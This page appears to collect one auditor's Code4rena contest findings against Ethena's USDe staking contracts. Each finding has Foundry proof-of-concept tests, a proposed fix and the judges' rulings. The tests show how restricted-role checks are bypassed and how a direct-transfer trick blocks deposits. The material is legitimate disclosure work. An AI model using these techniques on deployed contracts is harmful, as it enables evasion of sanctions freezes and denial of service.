Ethena Labs - Yanchuan's results

Enabling The Internet Bond

General Information

Platform: Code4rena

Start Date: 24/10/2023

Pot Size: $36,500 USDC

Total HM: 4

Participants: 147

Period: 6 days

Judge: 0xDjango

Id: 299

League: ETH

Ethena Labs

Findings Distribution

Researcher Performance

Rank: 9/147

Findings: 4

Award: $805.88

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

119.1406 USDC - $119.14

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-499

External Links

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

Vulnerability details

Impact

According to Ethena's design, due to legal requirements, there's a FULL_RESTRCITED_STAKER_ROLE, which is for sanction/stolen funds, or if Ethena gets a request from law enforcement to freeze funds. Addresses fully restricted cannot transfer, stake, or unstake.

When a user withdraws funds, the _withdraw function is called. This function checks that the caller and the receiver cannot have the FULL_RESTRICTED_STAKER_ROLE role. However, in the function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256), the caller is just the executor, and the actual stUSDe belongs to the owner. If the owner has the FULL_RESTRICTED_STAKER_ROLE role, they can simply initiate a redeem transaction using another account to withdraw funds. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { >> if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }

Proof of Concept

Below is a test scenario: user1 has the FULL_RESTRICTED_STAKER_ROLE role, hence cannot withdraw funds. However, they delegate another user, receiver, to initiate the withdrawal. After the withdrawal is completed, receiver transfers USDe to user1.

// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_FullRestrictedRedeem() public { vm.prank(user1); uint256 shares = stakedUSDe.deposit(1e18, user1); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(user1)); stakedUSDe.grantRole(keccak256("FULL_RESTRICTED_STAKER_ROLE"), user1); vm.prank(user1); stakedUSDe.approve(receiver, shares); vm.startPrank(receiver); uint256 assets = stakedUSDe.redeem(shares, receiver, user1); usde.transfer(user1, assets); vm.stopPrank(); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(user1)); } }

It can be observed that, following the steps outlined in the test case, user1 successfully got USDe.

Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_FullRestrictedRedeem() (gas: 175500) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.09ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

In the _withdraw function, check whether both _owner and receiver have the FULL_RESTRICTED_STAKER_ROLE role. if (hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver))

Assessed type

Context

#0 - c4-pre-sort

2023-10-31T16:27:54Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-31T16:28:01Z

raymondfam marked the issue as duplicate of #7

#2 - c4-pre-sort

2023-11-01T19:45:11Z

raymondfam marked the issue as duplicate of #666

#3 - c4-judge

2023-11-14T15:20:56Z

fatherGoose1 changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-11-14T15:21:02Z

fatherGoose1 marked the issue as satisfactory

Findings Information

Awards

161.7958 USDC - $161.80

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-246

External Links

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L232-L234

Vulnerability details

Impact

According to Ethena's design, due to legal requirements, there is a SOFT_RESTRICTED_STAKER_ROLE designated for addresses based in countries where Ethena is not permitted to provide yield, such as the USA. Addresses under this category will be soft restricted. They cannot deposit USDe to get stUSDe or withdraw stUSDe for USDe.

However, in the _withdraw function, there is no check to verify whether the user has the SOFT_RESTRICTED_STAKER_ROLE role. Users are able to withdraw funds without any restrictions.

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }

Proof of Concept

This is a scenario where user1 starts as a regular user, able to deposit USDe to obtain stUSDe. Subsequently, Ethena designates user1 as having the SOFT_RESTRICTED_STAKER_ROLE. Following this change, user1 attempts to withdraw funds.

// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_SoftRestrictedRedeem() public { vm.prank(user1); uint256 shares = stakedUSDe.deposit(1e18, user1); stakedUSDe.grantRole(keccak256("SOFT_RESTRICTED_STAKER_ROLE"), user1); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(user1)); vm.prank(user1); stakedUSDe.redeem(shares, user1, user1); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(user1)); } }

It's evident that even after being marked with the SOFT_RESTRICTED_STAKER_ROLE, user1 is still able to successfully withdraw funds.

Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_SoftRestrictedRedeem() (gas: 128854) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.14ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Adding a check in the _withdraw function to disallow withdrawals for users with the SOFT_RESTRICTED_STAKER_ROLE role.

Assessed type

Context

#0 - c4-pre-sort

2023-10-31T16:14:40Z

raymondfam marked the issue as low quality report

#1 - c4-pre-sort

2023-10-31T16:14:47Z

raymondfam marked the issue as sufficient quality report

#2 - c4-pre-sort

2023-10-31T16:14:57Z

raymondfam marked the issue as duplicate of #52

#3 - c4-judge

2023-11-10T21:41:29Z

fatherGoose1 marked the issue as satisfactory

#4 - c4-judge

2023-11-14T17:21:24Z

fatherGoose1 changed the severity to 2 (Med Risk)

Findings Information

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
duplicate-88

Awards

520.4229 USDC - $520.42

External Links

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L166-L168

Vulnerability details

Impact

Note: I have submitted another report titled "Unstaking all USDe tokens from the staking pool during the rewarding vesting period can lead to a DoS issue and all rewards permanently locked." which is distinct from this one. This report is about directly transferring tokens to the staking pool, whereas that report addresses how rewards should be distributed. Even if the issue in this report is fixed, the issue in that report still persists.

According to Ethena's design, StakedUSDe integrates ERC4626. Users invoke the deposit or mint functions to deposit USDe tokens into the staking pool. However, as USDe is a standard ERC20 token, users can also call the transfer function to transfer USDe tokens into the staking pool. This action will cause a Denial of Service (DoS) issue.

Users stake USDe tokens into the staking pool by invoking deposit or mint functions. These two function call _deposit function, and _deposit function calls the _checkMinShares function to check the total amount of stUSDe tokens. If it is less than MIN_SHARES, the user's attempt to stake USDe tokens fails. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L191-L194

>> uint256 private constant MIN_SHARES = 1 ether; function _checkMinShares() internal view { uint256 _totalSupply = totalSupply(); >> if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation(); } function _deposit(address caller, address receiver, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) || hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._deposit(caller, receiver, assets, shares); >> _checkMinShares(); }

If somebody directly transfers some USDe tokens into the staking pool, even just 1$, after the deploying of StakedUSDe, anybody cannot stake USDe tokens into the staking pool. This will result in a Denial of Service (DoS) issue.

The issue is caused by MIN_SHARES. Let's dig into the first deposit transaction. In this case, the total supply of stUSDe tokens is 0 since no staked USDe now. To satisfy the condition _totalSupply >= MIN_SHARES, the previewMint(1e18) function can be used to calculate the amount of USDe tokens the user needs to deposit. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L138-L140

function previewMint(uint256 shares) public view virtual override returns (uint256) { return _convertToAssets(shares, Math.Rounding.Up); } function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) { return shares.mulDiv(totalAssets() + 1, totalSupply() + 10 ** _decimalsOffset(), rounding); }

In the above function, the value of shares is 1e18, the value of _decimalsOffset() is 0, totalAssets() is the amount of USDe tokens directly transfer into the staking pool, and totalSupply() is the quantity of stUSDe tokens. Since no users have staked USDe tokens, the value of totalSupply() is 0. Therefore, the amount of USDe tokens a user needs to stake is 1e18 * totalAssets().

Hence, if a user wants to stake USDe tokens in the staking pool, the required quantity of USDe tokens is equal to 1e18 times the amount of USDe tokens directly transfer into the staking pool. This can be an extremely large number. For instance, the amount is 1e18 (worth $1). If the user initiate the first deposit transaction, he would need to stake 1e18 * 1e18 = 1e36 USDe tokens, which is 1 quadrillion dollars. Even if the amount is 1e6, the user would need to stake 1e24 USDe tokens, equivalent to 1 million dollars.

This issue arises from the staking pool using the balanceOf function when calculating totalAssets, and users can directly call the transfer function to deposit USDe tokens into the staking pool, thereby altering the value of totalAssets. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L166-L168

function totalAssets() public view override returns (uint256) { return IERC20(asset()).balanceOf(address(this)) - getUnvestedAmount(); }

Malicious users can always monitor staking pool deploying events, and then quickly deposit a small amount of USDe tokens, causing a DoS (Denial of Service) attack on the staking pool.

Proof of Concept

In the following test case (1)user1 directly transferred 1e18 USDe tokens into the staking pool. (2)user2 initiated a deposit transaction, with USDe amount 1000000000000000001000000000000000000 - 1, and the transaction was reverted.

// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address minter; address user1; address user2; USDe usde; StakedUSDe stakedUSDe; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); user2 = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.startPrank(minter); usde.mint(rewarder, 5e18); usde.mint(user1, 1e37); usde.mint(user2, 1e37); vm.stopPrank(); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); } function test_TransferIntoStakingPoll() public { vm.prank(user1); usde.transfer(address(stakedUSDe), 1e18); vm.startPrank(user2); uint256 assets = stakedUSDe.previewMint(1e18); console.log("assets = %s", assets); usde.approve(address(stakedUSDe), type(uint256).max); stakedUSDe.deposit(assets - 1, user2); vm.stopPrank(); } }
Compiler run successful! Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [FAIL. Reason: MinSharesViolation()] test_TransferIntoStakingPoll() (gas: 156438) Logs: assets = 1000000000000000001000000000000000000 Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.47ms Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/foundry/Ethena.t.sol:EthenaTest [FAIL. Reason: MinSharesViolation()] test_TransferIntoStakingPoll() (gas: 156438) Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Foundry

Do not use balanceOf when calculating USDe tokens staked. Account only for tokens transferred through mint and deposit functions by keeping an internal accounting of the balance.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-01T01:02:07Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-01T01:02:19Z

raymondfam marked the issue as duplicate of #32

#2 - c4-judge

2023-11-10T21:00:09Z

fatherGoose1 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L78-L90

Vulnerability details

Impact

According to Ethena's design, due to legal requirements, there's a FULL_RESTRCITED_STAKER_ROLE, which is for sanction/stolen funds, or if Ethena gets a request from law enforcement to freeze funds. Addresses fully restricted cannot transfer, stake, or unstake.

In the StakedUSDeV2 contract, there is a setting cooldownDuration. When the value of cooldownDuration is 0, the withdrawal process follows the same procedure as in the StakedUSDe contract. Where the _withdraw function checks the receiver and requires that the receiver does not have the FULL_RESTRICTED_STAKER_ROLE role. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { >> if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }

When the value of cooldownDuration is not 0, the withdrawal process involves two steps: (1) Users call the cooldownShares or cooldownAssets functions to withdraw USDe to the silo. (2) Users can then claim the USDe by calling the unstake function after the cooldown period has finished.

When users execute the unstake function, they can specify the address to receive USDe tokens. function unstake(address receiver) external. However, there is no check here to verify whether the receiver has the FULL_RESTRICTED_STAKER_ROLE role. Therefore, when the value of cooldownDuration is not 0, it is possible to unstake to a user who has the FULL_RESTRICTED_STAKER_ROLE role. https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L78-L90

function unstake(address receiver) external { UserCooldown storage userCooldown = cooldowns[msg.sender]; uint256 assets = userCooldown.underlyingAmount; if (block.timestamp >= userCooldown.cooldownEnd) { userCooldown.cooldownEnd = 0; userCooldown.underlyingAmount = 0; silo.withdraw(receiver, assets); } else { revert InvalidCooldown(); } }

Proof of Concept

Below is a test scenario: user1 is a regular user, and receiver is a user with the FULL_RESTRICTED_STAKER_ROLE role. user1 successfully unstakes and transfers funds to receiver by executing the deposit and unstake functions.

// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_StakedUSDeV2CooldownShares() public { stakedUSDev2.grantRole(keccak256("FULL_RESTRICTED_STAKER_ROLE"), receiver); vm.startPrank(user1); uint256 shares = stakedUSDev2.deposit(1e18, user1); stakedUSDev2.cooldownShares(shares, user1); skip(90 days); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(receiver)); stakedUSDev2.unstake(receiver); vm.stopPrank(); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(receiver)); } }
Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_StakedUSDeV2CooldownShares() (gas: 213155) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.00ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

In the unstake function, check whether receiver has the FULL_RESTRICTED_STAKER_ROLE role. If receiver has the FULL_RESTRICTED_STAKER_ROLE role, reject the withdrawal. if (hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) revert InvalidAddress()

Assessed type

Context

#0 - c4-pre-sort

2023-10-31T16:30:36Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-31T16:30:44Z

raymondfam marked the issue as duplicate of #7

#2 - c4-pre-sort

2023-11-01T19:45:12Z

raymondfam marked the issue as duplicate of #666

#3 - c4-judge

2023-11-13T19:33:47Z

fatherGoose1 marked the issue as satisfactory

#4 - c4-judge

2023-11-14T15:20:54Z

fatherGoose1 changed the severity to 2 (Med Risk)

#5 - nianyanchuan

2023-11-16T03:07:39Z

Hi @fatherGoose1, this is not a duplicate of #666. #666 is a vulnerability related to the FULL_RESTRICTED_STAKER_ROLE depositor, whereas this report addresses a vulnerability regarding the FULL_RESTRICTED_STAKER_ROLE receiver.

There are two StakedUSDe contracts, StakedUSDe and StakedUSDeV2, where StakedUSDeV2 inherits from StakedUSDe.

When cooldownDuration=0, or StakedUSDe is used, users can call withdraw or redeem for withdrawals. In this case, if the owner is not a FULL_RESTRICTED_STAKER_ROLE, but the receiver is a FULL_RESTRICTED_STAKER_ROLE, the withdrawal will not succeed.

When cooldownDuration!=0, users can call cooldownAssets and cooldownShares for withdrawals. In this scenario, the withdrawal will be successful.

The issue arises because when users call cooldownAssets or cooldownShares, StakedUSDeV2 invokes the _withdraw function, and the recipient's address at this point is the silo, which is not a FULL_RESTRICTED_STAKER_ROLE. When users call the unstake function to withdraw from the silo, StakedUSDeV2 does not check the address of the receiver.

Please review my report and PoC one more time. Thanks.

#6 - c4-judge

2023-11-21T21:18:56Z

fatherGoose1 marked the issue as not a duplicate

#7 - c4-judge

2023-11-21T21:20:33Z

fatherGoose1 marked the issue as unsatisfactory: Invalid

#8 - c4-judge

2023-11-21T21:20:50Z

fatherGoose1 changed the severity to QA (Quality Assurance)

#9 - c4-judge

2023-11-21T21:20:56Z

fatherGoose1 marked the issue as grade-b

#10 - fatherGoose1

2023-11-21T21:23:43Z

This report shares impact with #430. Per the sponsor in that issue:

It's a good spot however I don't think it warrants a code change - if anything unstake is a bit of a misnomer - if a user has called cooldownAssets or cooldownShares their sUSDe has already been settled for USDe - they are no longer staked - they just need to wait to receive their USDe. Transfers of USDe are fully permissionless by design - note that there is no blacklisting in the USDe.sol. Therefore we are ok with the now blacklisted user being able to get the cooled down USDe

In this report, the blacklisted receiver is able to receive USDe since USDe is not permissioned. Leaving as QA.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter